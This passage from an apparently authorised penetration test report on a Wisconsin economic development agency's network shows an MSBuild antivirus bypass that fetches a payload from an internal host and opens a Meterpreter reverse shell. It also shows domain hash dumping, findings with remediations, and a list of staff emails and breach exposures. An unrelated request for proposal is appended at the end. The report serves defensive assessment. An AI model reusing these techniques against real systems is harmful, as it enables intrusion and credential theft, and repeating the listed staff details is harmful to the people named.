the shellcode runner downloaded the malicious payload from a web server when it ran. The
custom shellcode runner proceeded to inject that payload into memory on the Windows operating
system and bypassed endpoint protections, such as anti-virus software.

Expanding Access via Custom C# Code
To execute the C# shellcode runner, Sikich opted to use a trusted component of the .NET
Framework, which is built into all modern Windows operating systems. In this particular attack,
Sikich used a signed Microsoft program called MSBuild (msbuild.exe) to compile the C#
shellcode runner code and execute the resulting binary in memory. The MSBuild program is
allowed to execute even in environments that make use of application whitelisting solutions and
anti-virus, as it is considered trusted because it is a signed Microsoft binary. MSBuild compiles
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the shellcode runner in memory, executing it under the MSBuild process. As such, the program is
not seen as a separate application, which helps avoid anti-virus detection.
In order to execute the C# code, Sikich needed to move the code to a file on the 10.10.2.22
system. Sikich downloaded the testshell.xml file to the c:\ directory of the 10.10.2.22 system.
C:\>put /tmp/testshell.xml
[*] Uploading testshell.xml to C:\testshell.xml
When executed, the shellcode runner code in c:\testshell.xml would attempt to download the
malicious binary payload hosted at http://10.10.1.100/test.txt to the internal testing system and
execute it.
Sikich started the MSBuild project using the file at c:\testshell.xml.
C:\>c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
testshell.xml
Microsoft (R) Build Engine version 4.7.3056.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.
Build started 11/26/2018 4:17:11 PM.

Once compiled by MSBuild, the shellcode runner downloaded the malicious payload from
http://10.10.1.100/test.txt and loaded it into memory, which allowed Sikich to get a Metasploit
Meterpreter shell (a backdoor command-and-control channel) on the 10.10.2.22 system.
msf5 exploit(multi/handler) >
[*] Started HTTPS reverse handler on https://10.10.1.200:4443
run -j^[[B[*] https://10.10.1.200:4443 handling request from 10.10.2.22;
(UUID: xtxjzpq0) Redirecting stageless connection from
/_cIZu3pe5NwBrgCvWlJxRgC-WmJZ5qTXNYiCmiVzcP9XEJalErEve-9SrdJGBQtwT4fd4Fdop with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gec
ko'
[*] https://10.10.1.200:4443 handling request from 10.10.2.22; (UUID:
xtxjzpq0) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (10.10.1.200:4443 -> 10.10.2.22:51225)
at 2018-11-26 16:17:12 -0600
msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer
: LT070
OS
: Windows 10 (Build 17134).
Architecture
: x64
System Language : en_US
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Domain
: CORP
Logged On Users : 7
Meterpreter
: x86/windows
A Metasploit Meterpreter shell is a remote access tool with capabilities useful to penetration
testers and cybercriminals. It is intended to remain in memory, and allows a user to carry out
common attacker activities such as dumping password hashes, running a keystroke logger or
taking screenshots of compromised systems.
At this point, Sikich removed the testshell.xml file from C:\. Sikich examined the 10.10.2.22 system
for additional information, such as plaintext passwords stored in files, but did not identify anything
(e.g., new user credentials) that would allow additional access into the WEDC environment on the
10.10.2.22 system. However, Sikich confirmed that it was possible to execute malicious code and
bypass endpoint security protections.
WEDC should consider either (a) blocking the use of MSBuild or (b) logging usage of MSBuild
and generating a corpus of allowed MSBuild command-line options such that WEDC can generate
alerts when the program is used in a way that WEDC has not previously identified as being
safe/acceptable.

ESCALATING PRIVILEGES
Sikich dumped local password hashes from the 10.10.2.22 system but was unable to use these
dumped credentials to gain access to other systems during testing. However, Sikich was able to
crack the password hash for the CORP\gcass user account. Examining the AD user and computer
information, Sikich found that the CORP\gcass user account was a member of a number of
security groups, including the Domain Admins group.
Group
Group
Group
Group
Group
Group
Group
Group
Group
Group
Group

'SG Enable Testing' (RID: 2753) has member: CORP\gcass
'SG WEDC All' (RID: 2285) has member: CORP\gcass
'SG Enable' (RID: 2798) has member: CORP\gcass
'Domain Users' (RID: 513) has member: CORP\gcass
'Domain Admins' (RID: 512) has member: CORP\gcass
'SG Adobe Creative Cloud' (RID: 2895) has member: CORP\gcass
'SG IT Salesforce Staff' (RID: 2824) has member: CORP\gcass
'SG IT Tech Staff' (RID: 2823) has member: CORP\gcass
'SG TIS' (RID: 2364) has member: CORP\gcass
'SG Budget and Operations' (RID: 4108) has member: CORP\gcass
'SG IT Helpdesk Staff' (RID: 2825) has member: CORP\gcass

Sikich was able to get a WMI-based shell and run msbuild.exe to get a Metasploit Meterpreter
shell on the AD domain controller at 10.10.1.3.
meterpreter > sysinfo
Computer
: MADVIRT02
OS
: Windows 2016 (Build 14393).
Architecture
: x64
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System Language
Domain
Logged On Users
Meterpreter

:
:
:
:

en_US
CORP
8
x64/windows

Sikich used the shell on the 10.10.1.3 system to dump the password hashes for AD users on the

CORP domain.
msf5 post(windows/gather/smart_hashdump) > run
[*] Running module against MADVIRT02
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*]
/root/.msf4/loot/20181128150549_default_10.10.1.3_windows.hashes_210256.t
xt
[+]
This host is a Domain Controller!
[*] Dumping password hashes...
[+]
Administrator:500:aa[redacted]ee:d3[redacted]4f
[+]
krbtgt:502:aa[redacted]ee:35[redacted]63
[+]
DefaultAccount:503:aa[redacted]ee:31[redacted]c0
[+]
cdw_hms:1109:aa[redacted]ee:44[redacted]7d
[+]
admagent:1110:aa[redacted]ee:29[redacted]2b
[+]
SVC-ADFS2:1119:aa[redacted]ee:7c[redacted]b4
[+]
MSOL_AD_Sync:1128:aa[redacted]ee:74[redacted]79
[+]
cdw_test:1243:aa[redacted]ee:31[redacted]37
[+]
kknudsen:1257:aa[redacted]ee:e5[redacted]01
[+]
dwasniewski:1263:aa[redacted]ee:5e[redacted]0b
[truncated]
Sikich identified 206 user accounts in the CORP domain. Sikich attempted to crack the passwords
for these accounts and successfully cracked 80 account passwords during testing, including the
password for the CORP\tdadmin user.

ACCESSING DATABASES
Sikich searched for AD users who had membership in groups referencing “SQL” and found that
the CORP\tdadmin user was a member of a number of high-privileged groups, including the SG

SQL Admins group.
Group
Group
Group
Group
Group
Group
Group

'Administrators' (RID: 544) has member: CORP\tdadmin
'SG_VPN_Users' (RID: 2383) has member: CORP\tdadmin
'Domain Users' (RID: 513) has member: CORP\tdadmin
'SG SQL Admins' (RID: 2936) has member: CORP\tdadmin
'Domain Admins' (RID: 512) has member: CORP\tdadmin
'Enterprise Admins' (RID: 519) has member: CORP\tdadmin
'File Server Admins' (RID: 2378) has member: CORP\tdadmin
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After identifying a database instance on the 10.10.1.26 system, Sikich logged in to the system as
the CORP\tdadmin user and reviewed the database tables. Sikich found that the DecDev
database contained a number of tables, including the en.Users table, which contained WEDC
usernames and password hashes.

The DecDev database also contained WEDC customer data in the en.Client table, which Sikich
omitted from the screenshot due to concerns about displaying WEDC client data in the report.
An attacker in possession of these customer lists and account details could likely engage in a
targeted social engineering campaign against WEDC customers due to the trust those customers
place in WEDC communications.
An attacker with this level of access could likely create additional backdoors and means of
persisting within the WEDC environment, which would make removing his or her access
challenging. Any activities taken against WEDC customers would erode the trust placed in WEDC.
WEDC should consider limiting employee access to internal resources where possible based on
the least privilege any employee needs to perform his or her job.
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Indicators of Compromise
As part of the testing process, Sikich engaged in activities that, when detected, could indicate
attempts at a compromise. These events may have produced logs that could have alerted WEDC
staff to malicious activities that warranted investigation. The following is a timeline of key activities.

Date/Time (CST)

Description

Source IP

Destination IP

12/04/2018
5:33–5:35 p.m.

Password guessing
performed against 63
user accounts

10.10.1.100

10.10.1.3

WEDC should determine if they detected these activities and consider implementing logging and
incident response procedures to react to these types of behaviors in the future.
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Findings and Recommendations
The findings included below represent vulnerabilities identified during the penetration test that
may pose a risk to the WEDC network systems. Relevant test findings are documented within this
report and have been categorized into three (3) risk levels:


High – High-level vulnerabilities permit attackers to remotely compromise systems and/or
user accounts. Attackers can gain user capabilities, including but not limited to partial file
system access, access to sensitive information and authentication bypass. With this
access, attackers can steal sensitive information (e.g., cardholder data or personally
identifiable information (PII)) and impersonate WEDC employees or customers.



Medium – Medium-level vulnerabilities permit attackers to obtain sensitive host
information, including security settings and detailed information about the target network
that could be used in other attacks. Medium-level vulnerabilities also include those that
permit the insecure transmission of user credentials and data, which could allow
attackers to impersonate WEDC employee or customer users or intercept sensitive
information (e.g., cardholder data or PII).



Low – Low-level vulnerabilities permit attackers to obtain information about the target
systems and networks, including host vendors, service versions and other system
information that could be used in other attacks.
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IPMI Authentication Bypass
RISK: HIGH (RESOLVED)
CATEGORY: OPERATING SYSTEMS SECURITY
Intelligent Platform Management Interface (IPMI) is used to remotely manage servers, including
abilities such as powering on, loading boot media and remotely controlling the console session.
The cipher zero specification is generally supported by vendors and allows authentication bypass
of the IPMI service, which may allow an attacker to remotely manage servers.

Details/Hosts Impacted
IPMI services used for device management allowed authentication bypass, including the following
instance that Sikich identified.

Host

Port

Description

10.10.0.72

623/udp

IPMI

Recommendations
WEDC should do one of the following:


Disable access to the IPMI interface



Restrict access by IP address to the IPMI interface



Disable the use of cipher zero for the IPMI interface

Additional References
IPMI++ Security Best Practices
http://fish2.com/ipmi/bp.pdf
National Vulnerability Database (NVD) Vulnerability Summary for CVE-2013-4784
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4784

Remediation Notes
The following notes represent remediation efforts performed by WEDC:

Date

01/21/2019

Description
WEDC stated that they disabled IPMI services on the affected host.
Sikich retested the previously identified instance and was unable to
connect to any IPMI services.
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IPMI v2.0 Password Hash Disclosure
RISK: HIGH (RESOLVED)
CATEGORY: OPERATING SYSTEMS SECURITY
Intelligent Platform Management Interface (IPMI) is used to remotely manage servers, including
abilities such as powering on, loading boot media and remotely controlling the console session.
The Remote Management Control Protocol+ (RMCP+) Authenticated Key-Exchange Protocol
(RAKP) allows an attacker to obtain password hash information for valid user accounts, which may
allow an attacker to crack the password hashes and remotely manage servers.

Details/Hosts Impacted
IPMI services divulged password hashes for user accounts, including the following instances that
Sikich identified.

Host

Port

Description

Accounts

10.10.0.72

623/udp

IPMI

admin

10.10.0.73

623/udp

IPMI

admin

Sikich dumped the following hashes from the hosts.
[+] 10.10.0.72:623 - IPMI - Hash found:
admin:41f[redacted]96e:697[redacted]5b7
[*] Scanned 1 of 2 hosts (50% complete)
[+] 10.10.0.73:623 - IPMI - Hash found:
admin:f20[redacted]96e:c2f[redacted]7be
[*] Scanned 2 of 2 hosts (100% complete)
Sikich was unable to crack these hashes within the duration of this engagement.

Recommendations
There is not a patch for this vulnerability at this time. WEDC should:


Disable access to the IPMI interface or restrict access to the IPMI interface by IP address



Use strong passwords, such as passwords over 20 characters in length, to limit the
likelihood of successful password cracking

Additional References
IPMI++ Security Best Practices
http://fish2.com/ipmi/bp.pdf
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Cracking IPMI Passwords Remotely
http://fish2.com/ipmi/remote-pw-cracking.html
National Vulnerability Database (NVD) Vulnerability Summary for CVE-2013-4786
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4786

Remediation Notes
The following notes represent remediation efforts performed by WEDC:

Date

01/21/2019

Description
WEDC stated that they disabled IPMI services on the affected hosts.
Sikich retested the previously identified instances and was unable to
connect to any IPMI services.
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Cisco Smart Install Remote Access
RISK: HIGH (RESOLVED)
CATEGORY: NETWORK SECURITY
Cisco Smart Install (SMI) is a configuration and management feature that allows for “zero-touch”
deployment of Cisco hardware, allowing a Smart Install Director to push configurations to one or
more SMI clients from a centralized location. The Cisco SMI service features no authentication by
design. As such, attackers with access to the service can use publicly-available exploits to
interact with SMI clients to either download or modify configurations.

Details/Hosts Impacted
Systems allowed configuration file download via Cisco SMI services, including the following
instance Sikich identified.

Host

Port

Description

10.10.1.1

4786/tcp

Cisco SMI

Sikich used the Cisco SMI access to download configuration files from the affected systems and
gather information, including password hashes and plaintext SNMP strings.

Recommendations
WEDC should disable the Cisco SMI service if not needed for initial switch configuration. If the
Cisco SMI service is needed for initial configuration, it should be disabled after completion of the
initial switch configuration. The Cisco SMI service can be disabled using the no vstack command.
If there is a business need for the Cisco SMI service, WEDC should restrict access to the service
to only those source IP addresses belonging to Smart Install Director systems via firewall rules.

Additional References
Cisco Smart Install Protocol Misuse
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170214-smi
Smart Install Exploitation Tool
https://github.com/Sab0tag3d/SIET
Cisco Coverage for Smart Install Client Protocol Abuse
https://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html
Cisco smi_check tool
https://github.com/Cisco-Talos/smi_check
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Remediation Notes
The following notes represent remediation efforts performed by WEDC:

Date

01/21/2019

Description
WEDC stated that they disabled Cisco SMI service on the affected host.
Sikich retested the previously identified instance and was unable to
connect to the Cisco SMI protocol.
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Anti-Virus Bypass
RISK: HIGH (RESOLVED)
CATEGORY: OPERATING SYSTEM SECURITY
Anti-virus helps reduce the likelihood that an attacker can execute malware or unwanted
programs within the operating system. While this increases security within the environment, it is
possible under some circumstances to bypass anti-virus. An attacker bypassing anti-virus
controls can execute malicious code.

Details/Hosts Impacted
Anti-virus software could be bypassed, including in the following instance Sikich identified.

Executable Used

Executable Path

msbuild.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Sikich used MSBuild, a component of .NET Framework versions 4 or later and Visual Studio that
accepts and compiles project files based on supplied XML, to compile and execute C# code in
memory. This allowed Sikich to bypass endpoint security software, run malicious programs, and
ultimately compromise a CORP domain controller.

Recommendations
WEDC should prevent users from running programs that are known to bypass anti-virus, such as
MSBuild. Alternatively, WEDC could monitor all user accounts for the execution of such programs
and develop a list of command-line options known to be safe. If the latter option is implemented,
WEDC should also institute a process to investigate any variations in command-line options from
those identified as safe via the monitoring process.

Additional References
Trusted Developer Utilities
https://attack.mitre.org/wiki/Technique/T1127

Remediation Notes
The following notes represent remediation efforts performed by WEDC:

Date

02/11/2019

Description
WEDC stated that they deployed Microsoft AppLocker application
whitelisting in audit mode with specific rules to identify the execution of
MSBuild. Sikich reviewed screenshots of notification events, provided by
WEDC, showing alerts generated by MSBuild execution.
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Weak Password Policy
RISK: HIGH
CATEGORY: NETWORK SECURITY
Weak password policies undermine the effectiveness of passwords as the primary access control
mechanisms used throughout the environment. Weak password policies can allow users to set
blank passwords or set passwords that are not long enough to thwart offline password cracking
efforts, should a password hash be captured, and allow attackers to brute force account
passwords without fear of locking out user accounts or being discovered.

Details/Hosts Impacted
The CORP password policy had weaknesses, including the following instances Sikich identified.


Minimum password length: 7



Account lockout threshold: 20

Recommendations
Compliance mandates, such as those associated with the payment card industry, often have
specific password requirements. However, guidance published in National Institute of Standards
and Technology (NIST) Special Publication 800-63 reinforces that attacks on, and best practices
protecting, passwords have evolved. While giving consideration to the intent and rigor of
applicable compliance requirements, WEDC should:


Lock out accounts after three (3) invalid logon attempts



Require passwords to be at least 15 characters in length
o



Consider using passphrases (e.g., “The snow starts falling in December”)

Avoid imposing other composition rules (e.g., requiring mixtures of different character
types or prohibiting consecutively repeated characters) for passwords, provided long
(15+ character) passwords are enforced



Avoid requiring memorized secrets to be changed arbitrarily (e.g., periodically) and
instead force a change if there is evidence of compromise, provided long (15+
character) passwords are enforced



Avoid storing password hints or relying upon secret questions (e.g., “What was the name
of your first pet?”)



Compare prospective passwords against a list of values known to be commonly used,
expected or compromised (e.g., passwords obtained from previous breaches)



Use password managers to generate and store long, complex passwords

Additional References
Best Practices for Enforcing Password Policies
https://technet.microsoft.com/en-us/magazine/ff741764.aspx
NIST Special Publication 800-63B: Digital Identify Guidelines
https://pages.nist.gov/800-63-3/sp800-63b.html
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Remediation Notes
The following notes represent remediation efforts performed by WEDC:

Date

02/11/2019

Description
WEDC management stated that they were discussing the remediation
options internally at the time of retesting with the intent of remediating this
vulnerability later in 2019.
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NetBIOS Name Service
RISK: MEDIUM (RESOLVED)
CATEGORY: NETWORK SECURITY
The NetBIOS Name Service (NetBIOS) is a legacy protocol that primarily enables name resolution
between hosts in a broadcast domain. Since NetBIOS send requests to anyone listening on the
broadcast domain, all devices on that network would receive the NetBIOS query. An attacker
listening on the network could send fraudulent responses to NetBIOS queries and trick the victim
machine into communicating with the attacker.

Details/Hosts Impacted
Networks contained Windows hosts that utilized NetBIOS, including in the following subnets Sikich
identified.

Subnet

Description

10.10.1.0/24

IP range for Madison servers and printers

10.10.2.0/24

IP range for wired devices in Madison office

Recommendations
If WEDC requires NetBIOS, they should define primary and secondary Windows Internet Name
Service (WINS) servers.
WEDC should disable NetBIOS if not required. NetBIOS can be disabled through the Advanced

TCP/IP Settings dialog or by configuring DHCP server options.

Additional References
How to disable NetBIOS over TCP/IP by using DHCP server options
https://support.microsoft.com/en-us/help/313314/how-to-disable-netbios-over-tcp-ip-by-using-dhcpserver-options

Remediation Notes
The following notes represent remediation efforts performed by WEDC:

Date

Description

02/12/2019

WEDC stated that they disabled NetBIOS on the affected networks. Sikich
reviewed screenshots of Group Policy Object (GPO) settings, scripts and
DHCP options settings, provided by WEDC, which showed that WEDC
disabled NetBIOS on the previously identified networks.
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WPAD Protocol
RISK: MEDIUM (RESOLVED)
CATEGORY: NETWORK SECURITY
Web Proxy Auto-Discovery (WPAD) is a protocol that enables web browsers to automatically
download and configure a web proxy configuration file. This feature is enabled by default in
several web browsers, most commonly Internet Explorer.
A Windows host with WPAD enabled will attempt to first find the WPAD server via DNS. If the
WPAD server is not found via DNS, then the host will attempt to locate it via a NetBIOS name
query. NetBIOS name queries are sent to the broadcast address for the network on port 137/udp.
Every host on the broadcast domain receives the NetBIOS name query, but should only respond if
they have the corresponding NetBIOS name. An attacker could craft a response to the NetBIOS
name query and serve up a malicious proxy configuration file. The attacker could then intercept all
of the web traffic to and from the WPAD enabled host.

Details/Hosts Impacted
Networks contained Windows hosts that made WPAD requests, including in the following subnets
Sikich identified.

Subnet

Description

10.10.1.0/24

IP range for Madison servers and printers

10.10.2.0/24

IP range for wired devices in Madison office

This enabled Sikich to spoof the WPAD requests and capture NTLMv2 credentials.

Recommendations
WEDC should disable WPAD if it is not being actively used. To disable WPAD on a client machine,
apply the following settings:


Uncheck Automatically detect settings in Internet Explorer’s Internet Options



Disable WinHTTP Web Proxy Auto-Discovery Service in Services



Set the registry key

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\UseDomainName
Devolution to 0 to prevent name devolution
Alternatively, if WPAD is required WEDC should:


Define primary and secondary WINS servers



Define a WPAD server at every devolution level
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Additional References
Change proxy server settings in Internet Explorer
http://windows.microsoft.com/en-us/windows/change-internet-explorer-proxy-serversettings#1TC=windows-7

Remediation Notes
The following notes represent remediation efforts performed by WEDC:

Date

Description

01/21/2019

WEDC stated that they disabled WPAD services on the affected networks.
Sikich retested the previously identified networks and was unable to
intercept any WPAD requests.
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Anonymous NFS Share
RISK: MEDIUM (RESOLVED)
CATEGORY: OPERATING SYSTEM SECURITY
A Network File System (NFS) allows a client to mount a file system over the network as if it was
local to the client’s system. Access to NFS shares are typically restricted by IP address.

Details/Hosts Impacted
NFS shares allowed anonymous access, including the following instances Sikich identified.

Host

Port

Shares

10.10.1.62

2049/tcp

ESX_GUEST_VOL, ESX_Heartbeat, vol0,
vol0/home

10.10.1.63

2049/tcp

MF01B_ESX_Guests_vol, vol0, vol0/home

10.10.3.2

2049/tcp

ESX_GUEST_VOL, ESX_Heartbeat, vol0,
vol0/home

10.10.3.3

2049/tcp

MF01B_ESX_Guests_vol, vol0, vol0/home

10.10.3.11

2049/tcp

ESX_GUEST_VOL, ESX_Heartbeat, vol0,
vol0/home

10.10.3.12

2049/tcp

ESX_GUEST_VOL, ESX_Heartbeat, vol0,
vol0/home

10.10.3.13

2049/tcp

ESX_GUEST_VOL, ESX_Heartbeat, vol0,
vol0/home

10.10.3.14

2049/tcp

ESX_GUEST_VOL, ESX_Heartbeat, vol0,
vol0/home

10.10.3.15

2049/tcp

ESX_GUEST_VOL, ESX_Heartbeat, vol0,
vol0/home

10.10.3.16

2049/tcp

ESX_GUEST_VOL, ESX_Heartbeat, vol0,
vol0/home

10.10.3.17

2049/tcp

ESX_GUEST_VOL, ESX_Heartbeat, vol0,
vol0/home

Recommendations
WEDC should:


Restrict access to NFS shares to only the hosts that require access



Consider implementing an authentication mechanism such as Kerberos
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Additional References
Securing NFS
http://www.centos.org/docs/5/html/Deployment_Guide-en-US/s1-nfs-security.html

Remediation Notes
The following notes represent remediation efforts performed by WEDC:

Date

Description

01/21/2019

WEDC stated that they disabled anonymous access to the affected NFS
shares. Sikich retested the previously identified instances and was unable
to access them.
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Best Practice Recommendations
Sikich documented all significant findings in the body of this penetration test report. Additional
best practices for WEDC, discovered throughout the course of penetration testing, are listed
below. These recommendations should be reviewed and implemented as time and project
budgets permit.


Resolve any findings identified as part of vulnerability scanning



Implement internal firewall rules to restrict access between subnets to necessary traffic
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Appendix A – Reconnaissance
The second phase of the penetration test involved gathering information on the in-scope targets,
sometimes referred to as open-source intelligence (OSINT) gathering. OSINT is defined by the
United States Department of Defense as:

“…intelligence that is produced from publicly available
information and is collected, exploited, and disseminated in a
timely manner to an appropriate audience for the purpose of
addressing a specific intelligence requirement.”
Sikich consulted public sources, including WHOIS records and search engine results, to gather
intelligence regarding WEDC. The information gathered includes any names, email addresses,
domains, locations or phone numbers associated with WEDC that were discovered through public
sources. This information could be used by an attacker to launch a social engineering attack
against WEDC.
Sikich did not attempt or engage in social engineering attacks against WEDC. However, WEDC
should conduct regular security awareness training as well as regular social engineering
engagements.

Resources
In addition to the provided external targets, Sikich identified the following out-of-scope resources:

IP Address

Hostname(s)

Description

23.185.0.1

corp.wedc.org, ftp.wedc.org, www.wedc.org

Main
marketing site

40.97.121.34

mail.wedc.org

Office 365

40.101.128.184

autodiscover.wedc.org

Office 365

50.116.58.22

stage.wedc.org

Error page at
time of testing

104.154.248.157

staging.wedc.org

Error page at
time of testing

108.161.188.238

cdn.wedc.org

NetDNA CDN

199.15.212.148

pages.wedc.org

In Wisconsin
marketing site

Copyright © 2019 Sikich LLP. All rights reserved. This document may contain information that is privileged,
confidential, or otherwise protected from disclosure and is only authorized to be used and viewed by
Wisconsin Economic Development Corp. Distribution or copying is strictly prohibited.

40

PENETRATION TEST REPORT

Disclosed Credentials
WEDC email addresses, passwords and password hashes had been disclosed in public data
breaches, including the following instances Sikich identified.

Email Address

Breach(es)

jennifer.winner@wedc.org

LinkedIn1

kelly.lietz@wedc.org

BreachCompilation,2 LinkedIn, Bitly3

Email Addresses
Sikich identified the following email addresses:
aaron.hagar@wedc.org

kelly.aschenbach@wedc.org

ann.hyra@wedc.org

kelly.lietz@wedc.org

barb.lamue@wedc.org

khay.khong@wedc.org

beng.yeap@wedc.org

lauren.foley@wedc.org

bob.pope@wedc.org

lee.swindall@wedc.org

brad.schneider@wedc.org

luke.fuszard@wedc.org

brittney.schultz@wedc.org

marie.steenlage@wedc.org

cate.rahmlow@wedc.org

mark.hogan@wedc.org

chris.schiffner@wedc.org

mark.maley@wedc.org

coleman.peiffer@wedc.org

mark.malley@wedc.org

danielle.jones@wedc.org

mark.rhodareis@wedc.org

darrin.wasniewski@wedc.org

mark.tallman@wedc.org

ed.javier@wedc.org

mary.gage@wedc.org

emily.clavette@wedc.org

melissa.finkelstein@wedc.org

errin.welty@wedc.org

melissa.hunt@wedc.org

gail.macaskill@wedc.org

monica.wahlberg@wedc.org

james.curliss@wedc.org

naletta.burr@wedc.org

jasen.funk@wedc.org

natalya.krutova@wedc.org

jason.scott@wedc.org

neil.white@wedc.org

jennifer.jin@wedc.org

patrick.drinan@wedc.org

jennifer.kuderer@wedc.org

patrick.roetker@wedc.org

kathie.colbert@wedc.org

rachel.best@wedc.org

kathy.heady@wedc.org

rebecca.deschane@wedc.org

katy.sinnott@wedc.org

sara.beuthien@wedc.org

1

The LinkedIn event in May 2012 included the release of a combination of usernames and password hashes
traded online.
2
The BreachCompilation event in January 2018 included the release of a combination list of usernames and
passwords traded online.
3
The Bitly event in May 2012 included the release of a combination of usernames and password hashes
traded online.
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sarah.bownds@wedc.org

stanley.pfrang@wedc.org

scott.mosley@wedc.org

steven.sabatke@wedc.org

seth.hudson@wedc.org

tim.cooley@wedc.org

seyoum.mengesha@wedc.org

tim.weber@wedc.org

shauna.breneman@wedc.org

tom.thieding@wedc.org

shelly.harkins@wedc.org

tricia.braun@wedc.org

Physical Locations
Sikich identified the following physical location:
Wisconsin Economic Development Corporation
201 West Washington Avenue
Madison, WI 53703
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Limitation of Liability: Sikich is not responsible for photographic or typographic errors. In no event is Sikich or
its licensors liable for any indirect, punitive, incidental, special, consequential or other damages whatsoever,
whether arising out of or in any way connected with the use or performance of services, related deliverables or
related websites, with the delay or inability to use any deliverables, services, related equipment or related
websites, the provision of or failure to provide services, or otherwise arising out of the use of services, whether
based on contract, strict liability or otherwise.
Warranty: This report and services are delivered AS IS, and Sikich does not and cannot warrant the accuracy,
performance or results obtained by using recommendations provided during any service or that the results or
recommendations will be error-free or complete. Sikich makes no warranty that the services will detect all
vulnerabilities or any particular vulnerability or the services will provide the most recently developed or
distributed vulnerability checks. Sikich makes no warranties, express or implied, as to noninfringement of thirdparty rights, merchantability or fitness for any particular purpose.
Trademarks: Sikich’s mark may not be used in connection with any product or service that is not Sikich’s in any
manner that is likely to cause confusion, or in any manner that disparages or discredits Sikich.
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Request for Proposal:
Redesign of Wisconsin Supply Chain Marketplace
ISSUED BY:
WISCONSIN ECONOMIC DEVELOPMENT CORPORATION
ON: January 7, 2019
All questions regarding this RFP must be submitted in writing to Jela Trask at jela.trask@wedc.org
by January 16, 2019 at 4:00 pm CT.

PROPOSALS MUST BE SUBMITTED BY:
February 11, 2019 4:00 PM CT

To:
Jela Trask
jela.trask@wedc.org
Wisconsin Economic Development Corporation
201 West Washington Avenue, 6th Floor
Madison, WI 53703

I. Scope
The Wisconsin Economic Development Corporation (WEDC) is requesting bids from vendors
interested in providing website design and database (directory) platform development.
The Wisconsin Supply Chain Marketplace (WSCM) is an online directory primarily for manufacturing
suppliers and original equipment manufacturers (OEMs) to facilitate business-to-business connections
by enabling Wisconsin-based companies to create a profile providing background on their services.
Likewise, for companies interested in sourcing suppliers in Wisconsin, the WSCM enables companies
to post RFPs. It is accessible here: http://www.wisupplychainmarketplace.com/.
Specific audiences currently using the WSCM include, but are not limited to, the following:
- Businesses in Wisconsin that are interested in promoting their services as well as
identifying businesses to procure services from
- Businesses outside Wisconsin that are interested in contacting Wisconsin-based suppliers
- Economic development professionals who are interested in better understanding key
industries and supply chain mapping
- Economic development professionals who act as liaisons to businesses who are interested
in identifying suppliers
Please consider the current WSCM http://www.wisupplychainmarketplace.com/ as the starting point
for the required functionality expected to be delivered for the redesign and redevelopment project.
Specific services to be provided include – (see IV. Proposal Requirements for detail):
1. Redesign the user interface
2. Develop new data structure to support all existing data sets (current platform is developed
on a Concrete5 Content Management System (CMS)).
3. Support existing functionality that includes, but is not limited to:
a. Supplier profiles
b. Search functions by industry, category, region
c. Regional version of database including templates and filters
d. Request for Proposal (RFP) posting
e. Admin functions
f. Admin/system email, behavior trigger, i.e. confirmation of profile approval
g. “Bulletin board” area of site that features news and auto feeds from profile content
h. Data/list download capabilities for approved user set (included in admin function)
i. Enterprise solution that allows for 3rd party integration of existing OEM vendor platforms
j. Support all necessary site content, including but not limited to: About Us, Contact Us,
Privacy Policy, News, etc. All can follow an available CMS template.
k. Hosting
l. Google Analytics
m. Ensure site is built with Search Engine Optimization (SEO) in mind
n. Mobile friendly
o. Ongoing maintenance
4. Project must be completed and fully transitioned from current WSCM by June 30, 2019.

II. Project Timeline
The work needed to be completed under this RFP is subject to tight timing constraints. Proposers
responding to this RFP must be prepared to conform to the following timeline. If this timeline is
prohibitively restrictive, please indicate such and propose an alternate timeline. Any adjustments to the
timeline will apply to all proposers.
Date
January 7th, 2019
January 16th, 2019
January 23rd, 2019
February 11th, 2019
February 25th, 2019
March 1st, 2019
March 8th, 2019

Event
RFP Issued
Deadline to Submit Questions
Responses to Questions Posted
Proposals Due
Committee Completes Review of Proposals
Possible Interviews with Proposers
Approval of Award

III. Wisconsin Economic Development Corporation
The Wisconsin Economic Development Corporation (WEDC) is a public body corporate and politic
governed by Chapter 238 of the Wisconsin Statutes. WEDC provides financial and technical assistance
and services to businesses and organizations in Wisconsin for the purpose of strengthening economic
development and creating and retaining jobs. As of June 30, 2018, WEDC has approximately 111
employees and an operating budget of approximately $62.6 million. Revenues to finance its operating
budget are derived primarily from state appropriation, loan repayments and other income.
WEDC operates five economic and community development divisions and eight finance and
administrative departments primarily in the Madison, Wisconsin location. WEDC provides grants,
loans, loan guarantees, tax credits and other financial and technical assistance to its customers. WEDC
utilizes the Intacct accounting system as well as Salesforce and a grant and loan management system.
IV. Proposal Requirements
Proposers responding to this RFP must provide sufficient responses to specific requests for information
below, confirming their ability to deliver on the requirements noted below. Failure to respond to any of
the requests may result in disqualification of the proposal.
a. Mandatory Requirements
i.
Redesign the user interface to deliver the following experience:
1. Update design graphics to align with statewide branding.
2. Develop an intuitive user experience that reorganizes navigation to
optimize searchability.
3. Redesign search result display – currently, it is below the search criteria.
Redesign to have results display in a more expected directory fashion,
possibly to the right of the search criteria so that as user is narrowing or
expanding a search, the results are featured to guide the user.
4. Redesign profile pages.

ii.

iii.

Develop a data structure that is flexible to support all existing profile data criteria
and search functions. WEDC will provide the database in a raw file that allows for
configuration and platform build. The current directory and data structure is built on
Concrete5 content management system.
Support existing functionality that includes, but is not limited to:
1. Basic Functions
a. Current front-end functions of the WSCM will be preserved,
including supplier search and RFP (Request for Proposal)
posting. By way of definition, “suppliers” are companies “buyers”, or those creating RFPs, are also companies.
Navigation allows for several different entry points to these two
basic functions. During requirements input, we can determine if
all these entry points should be preserved.
b. Include current search options but with improved search
algorithm to support more robust keyword search options. For
example, “plastic injection molding” does not generate the same
set of results as “plastics injection molding”.
c. Support process for creating supplier profile. This will require
registration and account/login creation to manage updates.
d. Support process for posting RFPs. Buyers don’t necessarily
require the creation of an account but may need some way to
